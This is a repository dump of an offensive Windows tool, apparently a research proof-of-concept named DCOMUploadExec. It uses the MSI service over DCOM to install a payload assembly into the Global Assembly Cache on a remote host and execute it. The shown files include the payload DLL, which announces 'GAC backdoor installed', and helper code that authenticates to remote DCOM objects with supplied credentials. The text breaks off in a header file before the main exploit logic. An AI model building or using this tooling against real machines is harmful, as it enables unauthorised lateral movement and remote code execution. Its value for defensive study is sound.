├── .gitignore ├── AssemblyPayload ├── AssemblyPayload.csproj ├── Class1.cs ├── Properties │ └── AssemblyInfo.cs ├── SNKeyPair.snk └── packages.config ├── ComUtils.cpp ├── ComUtils.h ├── DCOMUploadExec.sln ├── DCOMUploadExec.vcxproj ├── DCOMUploadExec.vcxproj.filters ├── Includes.h ├── MsiEnums.h ├── MsiServerControl.cpp ├── PayloadConfig.h ├── README.md ├── ReversedMsi.h ├── Utils.cpp ├── Utils.h ├── main.cpp └── packages └── UnmanagedExports.1.2.7 ├── .signature.p7s ├── UnmanagedExports.1.2.7.nupkg ├── lib └── net │ └── RGiesecke.DllExport.Metadata.dll └── tools ├── DllExportCmdLets.psm1 ├── Mono.Cecil.dll ├── RGiesecke.DllExport.MSBuild.dll ├── RGiesecke.DllExport.MSBuild.pdb ├── RGiesecke.DllExport.dll ├── RGiesecke.DllExport.pdb ├── RGiesecke.DllExport.targets ├── init.ps1 ├── install.ps1 └── uninstall.ps1 /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /AssemblyPayload/AssemblyPayload.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F} 8 | Library 9 | Properties 10 | payload 11 | payload 12 | v4.7.2 13 | 512 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | ..\x64\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | x64 25 | false 26 | 27 | 28 | pdbonly 29 | true 30 | bin\Release\ 31 | DEBUG;TRACE 32 | prompt 33 | 4 34 | x64 35 | 36 | 37 | true 38 | 39 | 40 | SNKeyPair.snk 41 | 42 | 43 | false 44 | 45 | 46 | 47 | ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 48 | False 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /AssemblyPayload/Class1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | using RGiesecke.DllExport; 5 | 6 | namespace payload 7 | { 8 | public class Class1 9 | { 10 | 11 | [DllImport("kernel32.dll")] 12 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 13 | [DllImport("wtsapi32.dll", SetLastError = true)] 14 | static extern bool WTSSendMessage( 15 | IntPtr hServer, 16 | [MarshalAs(UnmanagedType.I4)] int SessionId, 17 | String pTitle, 18 | [MarshalAs(UnmanagedType.U4)] int TitleLength, 19 | String pMessage, 20 | [MarshalAs(UnmanagedType.U4)] int MessageLength, 21 | [MarshalAs(UnmanagedType.U4)] int Style, 22 | [MarshalAs(UnmanagedType.U4)] int Timeout, 23 | [MarshalAs(UnmanagedType.U4)] out int pResponse, 24 | bool bWait); 25 | 26 | [DllExport] 27 | public static void FirstExportSkipped() 28 | { 29 | } 30 | 31 | [DllExport] 32 | public static int InitializeEmbeddedUI(int stringSize ,[MarshalAs(UnmanagedType.LPStr)] string stringVar, IntPtr outPtr) 33 | { 34 | string title = "MSIEXEC - GAC backdoor installed"; 35 | IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero; 36 | int WTS_CURRENT_SESSION = 1; 37 | int resp = 1; 38 | WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, stringVar, stringSize, 0, 0, out resp, false); 39 | return 1337; 40 | } 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /AssemblyPayload/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("AssemblyPayload")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("AssemblyPayload")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("57fd94ec-4361-43fd-ab9d-cdb254c0de8f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /AssemblyPayload/SNKeyPair.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/deepinstinct/DCOMUploadExec/a71883fb29cb24f91361d9aa0dc7be3517df4e45/AssemblyPayload/SNKeyPair.snk -------------------------------------------------------------------------------- /AssemblyPayload/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /ComUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "ComUtils.h" 2 | 3 | void ComUtils::InitAuthStructs(COAUTHIDENTITY* pAuthId, COAUTHINFO* pAuthInfo, std::wstring& w_domain, std::wstring& w_username, std::wstring& w_password) 4 | { 5 | 6 | if (!w_domain.empty()) { 7 | pAuthId->Domain = (unsigned short*)w_domain.c_str(); 8 | pAuthId->DomainLength = wcslen(w_domain.c_str()); 9 | } 10 | if (!w_password.empty()) { 11 | pAuthId->Password = (unsigned short*)w_password.c_str(); 12 | pAuthId->PasswordLength = wcslen(w_password.c_str()); 13 | } 14 | if (!w_username.empty()) { 15 | pAuthId->User = (unsigned short*)w_username.c_str(); 16 | pAuthId->UserLength = wcslen(w_username.c_str()); 17 | } 18 | 19 | pAuthInfo->dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY ; 20 | pAuthInfo->dwAuthnSvc = RPC_C_AUTHN_WINNT; 21 | pAuthInfo->dwAuthzSvc = RPC_C_AUTHZ_NONE; 22 | pAuthInfo->dwCapabilities = EOAC_NONE; 23 | pAuthInfo->dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE; 24 | 25 | // setup identity details if existing 26 | if (!w_username.empty() || !w_password.empty() || !w_domain.empty()) 27 | { 28 | pAuthId->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; 29 | pAuthInfo->pAuthIdentityData = pAuthId; 30 | } 31 | else 32 | { 33 | pAuthInfo->pAuthIdentityData = nullptr; 34 | } 35 | } 36 | 37 | IUnknown* ComUtils::CreateObject(CLSID clsid, IID iid, DWORD ctx, std::wstring& w_address, COAUTHINFO* pAuthInfo) 38 | { 39 | HRESULT hr = NULL; 40 | 41 | // Initialize COM 42 | if(!gComInited) 43 | { 44 | hr = CoInitialize(NULL); 45 | if(FAILED(hr)) 46 | { 47 | std::cout << "[-] Failed CoInitialize: " << std::hex << hr << '\n'; 48 | return nullptr; 49 | } 50 | } 51 | 52 | COSERVERINFO coserverinfo = {}; 53 | // setup network info if we are directed to a remote address 54 | if (!w_address.empty()) 55 | coserverinfo.pwszName = w_address.data(); 56 | coserverinfo.pAuthInfo = pAuthInfo; 57 | 58 | MULTI_QI qi ={}; 59 | qi.pIID = &iid; // the interface we aim to get 60 | qi.pItf = NULL; 61 | qi.hr = 0; 62 | 63 | SOLE_AUTHENTICATION_INFO sni = {}; 64 | sni.dwAuthnSvc = pAuthInfo->dwAuthnSvc; 65 | sni.dwAuthzSvc = pAuthInfo->dwAuthzSvc; 66 | sni.pAuthInfo = pAuthInfo->pAuthIdentityData; 67 | 68 | SOLE_AUTHENTICATION_LIST sal = {}; 69 | sal.cAuthInfo = 1; 70 | sal.aAuthInfo = &sni; 71 | 72 | // initialize security 73 | hr = CoInitializeSecurity(nullptr, -1, NULL, NULL, pAuthInfo->dwAuthnLevel, pAuthInfo->dwImpersonationLevel, &sal, EOAC_NONE, NULL); 74 | if (FAILED(hr)) { 75 | std::cout << "[-] Failed CoInitializeSecurity: " << std::hex << hr << '\n'; 76 | return nullptr; 77 | } 78 | 79 | hr = CoCreateInstanceEx(clsid, NULL, ctx, &coserverinfo, 1, &qi); 80 | 81 | if (FAILED(hr)) { 82 | std::cout << "[-] Failed CoCreateInstanceEx: " << std::hex << hr << '\n'; 83 | } 84 | return qi.pItf; 85 | } 86 | 87 | IUnknown* ComUtils::CreateObjectFromDllFactory(HMODULE hdll, CLSID clsidFactory) 88 | { 89 | IClassFactory* fact; 90 | IUnknown* requestedObject = nullptr; 91 | DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject"); 92 | if(!DllGetClassObject) 93 | { 94 | std::cout << "[-] Failed locating DllGetClassObject on hdll: " << std::hex << GetLastError() << '\n'; 95 | return nullptr; 96 | } 97 | 98 | HRESULT hr = DllGetClassObject(clsidFactory, IID_IClassFactory, (PVOID*)&fact); 99 | if(FAILED(hr)) 100 | { 101 | std::cout << "[-] Failed DllGetClassObject on hdll: " << std::hex << GetLastError() << '\n'; 102 | return nullptr; 103 | } 104 | hr = fact->CreateInstance(NULL, clsidFactory, (PVOID*)&requestedObject); 105 | if (FAILED(hr)) 106 | { 107 | std::cout << "[-] Failed CreateInstance on hdll: " << std::hex << GetLastError() << '\n'; 108 | } 109 | return requestedObject; 110 | } 111 | 112 | HRESULT ComUtils::SetupInterfaceAuth(IUnknown* iface, COAUTHINFO* pAuthInfo) 113 | { 114 | OLECHAR* pServerPrincName = nullptr; 115 | std::wstring principleName; 116 | if (pAuthInfo->pAuthIdentityData) 117 | { 118 | principleName = std::format(L"{}\\{}", (WCHAR*)pAuthInfo->pAuthIdentityData->Domain, (WCHAR*)pAuthInfo->pAuthIdentityData->User); 119 | pServerPrincName = principleName.data(); 120 | } 121 | 122 | HRESULT hr = CoSetProxyBlanket(iface, pAuthInfo->dwAuthnSvc, pAuthInfo->dwAuthzSvc, pServerPrincName, pAuthInfo->dwAuthnLevel, 123 | pAuthInfo->dwImpersonationLevel, pAuthInfo->pAuthIdentityData, EOAC_DEFAULT); 124 | if (FAILED(hr)) { 125 | std::cout << "[-] Failed CoSetProxyBlanket: " << std::hex << hr << '\n'; 126 | } 127 | return hr; 128 | } 129 | 130 | /* 131 | * Setup auth on interfaces the correct way. We must apply auth to the underlying IID_IUnknown 132 | * else QueryInterface will fail with access denied when attempting to query the derived interface. 133 | * read more: "https://learn.microsoft.com/en-us/windows/win32/wmisdk/setting-authentication-using-c-" 134 | */ 135 | HRESULT ComUtils::SetupAuthOnParentIUnknownCastToIID(IUnknown* pAnyIface, COAUTHINFO* pAuthInfo, IUnknown** ppCastedOutput, const IID& riid) 136 | { 137 | IUnknown* pUnknown = nullptr; 138 | SetupInterfaceAuth(pAnyIface, pAuthInfo); 139 | 140 | HRESULT hr = pAnyIface->QueryInterface(IID_IUnknown, reinterpret_cast(&pUnknown)); 141 | if (FAILED(hr)) { 142 | pAnyIface->Release(); 143 | std::cout << "[-] Failed QueryInterface to underlying IUnknown: " << std::hex << hr << '\n'; 144 | } 145 | SetupInterfaceAuth(pUnknown, pAuthInfo); 146 | 147 | hr = pUnknown->QueryInterface(riid, reinterpret_cast(ppCastedOutput)); 148 | if (FAILED(hr)) { 149 | pUnknown->Release(); 150 | pAnyIface->Release(); 151 | std::cout << "[-] Failed QueryInterface to cast back from IUnknown: " << std::hex << hr << '\n'; 152 | } 153 | return SetupInterfaceAuth(*ppCastedOutput, pAuthInfo); 154 | } 155 | -------------------------------------------------------------------------------- /ComUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Includes.h" 3 | 4 | typedef HRESULT(*DllGetClassObjectFunc)( 5 | REFCLSID rclsid, 6 | REFIID riid, 7 | LPVOID* ppv 8 | ); 9 | 10 | class ComUtils 11 | { 12 | public: 13 | static void InitAuthStructs(COAUTHIDENTITY* pAuthId, COAUTHINFO* pAuthInfo, std::wstring& w_domain, std::wstring& w_username, std::wstring& w_password); 14 | static IUnknown* CreateObject(CLSID clsid, IID iid, DWORD ctx, std::wstring& w_address, COAUTHINFO* pAuthInfo = nullptr); 15 | static IUnknown* CreateObjectFromDllFactory(HMODULE hdll,CLSID clsidFactory); 16 | static HRESULT SetupInterfaceAuth(IUnknown* pIface, COAUTHINFO* pAuthInfo); 17 | static HRESULT SetupAuthOnParentIUnknownCastToIID(IUnknown* pAnyIface, COAUTHINFO* pAuthInfo, IUnknown** ppCastedOutput, const IID& riid); 18 | 19 | private: 20 | static inline bool gComInited = false; 21 | }; 22 | 23 | 24 | -------------------------------------------------------------------------------- /DCOMUploadExec.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33801.447 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DCOMUploadExec", "DCOMUploadExec.vcxproj", "{7BF6B6BE-A29F-440A-9962-9FABC5D9665A}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AssemblyPayload", "AssemblyPayload\AssemblyPayload.csproj", "{57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Debug|x64.ActiveCfg = Debug|x64 19 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Debug|x64.Build.0 = Debug|x64 20 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Debug|x86.ActiveCfg = Debug|Win32 21 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Debug|x86.Build.0 = Debug|Win32 22 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Release|x64.ActiveCfg = Release|x64 23 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Release|x64.Build.0 = Release|x64 24 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Release|x86.ActiveCfg = Release|Win32 25 | {7BF6B6BE-A29F-440A-9962-9FABC5D9665A}.Release|x86.Build.0 = Release|Win32 26 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Debug|x64.ActiveCfg = Debug|Any CPU 27 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Debug|x64.Build.0 = Debug|Any CPU 28 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Debug|x86.ActiveCfg = Debug|Any CPU 29 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Debug|x86.Build.0 = Debug|Any CPU 30 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Release|x64.ActiveCfg = Release|Any CPU 31 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Release|x64.Build.0 = Release|Any CPU 32 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Release|x86.ActiveCfg = Release|Any CPU 33 | {57FD94EC-4361-43FD-AB9D-CDB254C0DE8F}.Release|x86.Build.0 = Release|Any CPU 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {37B56312-76A9-4BE8-A266-25F800CA1CFF} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /DCOMUploadExec.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {7bf6b6be-a29f-440a-9962-9fabc5d9665a} 25 | DCOMBackdoor 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | stdcpp20 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | stdcpp20 121 | MultiThreadedDebug 122 | 123 | 124 | Console 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | 137 | 138 | Console 139 | true 140 | true 141 | true 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /DCOMUploadExec.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /Includes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define _WIN32_DCOM 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "ReversedMsi.h" 14 | #include "ComUtils.h" 15 | #include "msiquery.h" 16 | #include "Utils.h" 17 | #pragma comment (lib, "Msi.lib") 18 | #include 19 | #include -------------------------------------------------------------------------------- /MsiEnums.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | typedef enum iesEnum // return status from IMsiEngine::Sequence and DoAction 3 | { 4 | iesNoAction = 0, // action not invoked 5 | iesSuccess = 1, // IDOK, completed actions successfully 6 | iesUserExit = 2, // IDCANCEL, user terminated prematurely,$resume with next action 7 | iesFailure = 3, // IDABORT, unrecoverable error occurred 8 | iesSuspend = 4, // IDRETRY, sequence suspended, resume with same action 9 | iesFinished = 5, // IDIGNORE, skip remaining actions 10 | iesWrongState = 6, // calling sequence error, not in executable state 11 | iesBadActionData = 7, // 